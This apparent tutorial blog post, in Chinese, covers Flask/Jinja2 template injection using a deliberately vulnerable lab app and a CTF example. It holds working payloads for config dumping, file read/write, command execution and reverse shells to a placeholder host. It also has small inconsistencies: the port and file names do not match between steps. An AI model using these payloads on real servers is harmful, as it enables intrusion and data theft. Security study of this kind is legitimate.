0x00 前言

服务端模板注入(SSTI)攻击,可以看看James Kettle写的这篇文章
flask出现模板注入原因主要还是因为使用了render_template_string函数

0x01 环境搭建

test.py

from flask import Flask,render_template,config,render_template_string,request
from Config import Config
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"

@app.errorhandler(404)
def page_not_found(e):
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)

    return render_template_string(template)


if __name__=='__main__':`
    app.run('0.0.0.0',9999,debug=True)

0x02 检测注入

http://localhost:8888/{{ 7*7 }}
#http://localhost:8888/%7B%7B7*7%7D%7D

ssti1

  • 导出config变量
http://localhost:8888/{{config.items()}}

ssti2

  • 导出类
http://localhost:8888/{{''.__class__.__mro__[2].__subclasses__()}}

ssti3

0x03 漏洞利用

python2 和python3 有不同,这里测试的是python2,python3的类每次位置会变

ssti4

ssti7

文件操作

能够执行代码,就能够完成很多事情,接下来,我们将写入一个webshell。之后的知识涉及沙箱逃逸和反弹shell

python2:

#写
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:\flag', 'w').write('1234123') }}
#读
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:\flag').read() }}

ssti6

执行命令

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3
{{g.__repr__.__func__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

反弹shell

# 写入文件
payload 1 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
payload 2 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
# 利用 config.from_pyfile 加载文件
{{ config.from_pyfile('/tmp/shaobao') }}
# 反弹shell ; 提供两种方法;对应上的两个文件
payload1 ::
{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
payload2 ::
{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}

如果过滤了(,),例如TokyoWesterns CTF 4th 2018 - Shrine

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return '<h1>'.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

看到了一种方法,尝试{{g}},为什么可行,就得看flask源代码
https://github.com/pallets/flask/blob/master/flask/ctx.py

   def __repr__(self):
        top = _app_ctx_stack.top
        if top is not None:
            return '<flask.g of %r>' % top.app.name
        return object.__repr__(self)

payload:
g.__repr__.__func__.__globals__._app_ctx_stack.top.app.name.config

func属性将为我们提供由方法运行的函数(方法是一个函数加上它所属的类的引用,我认为

0x05 防范与总结

不提倡使用 render_template_string()

一般开发者都会将模板内容写入固定文件夹templates

规范模板渲染,按照Jinja2的官方文档

Referer

一些flask/Jinja2绕过姿势

Python Flask/Jinja 模板注入

TokyoWesterns CTF 4th 2018 – Shrine – writeup 过滤了括号

Categories: web

Leave a Reply

Your email address will not be published. Required fields are marked *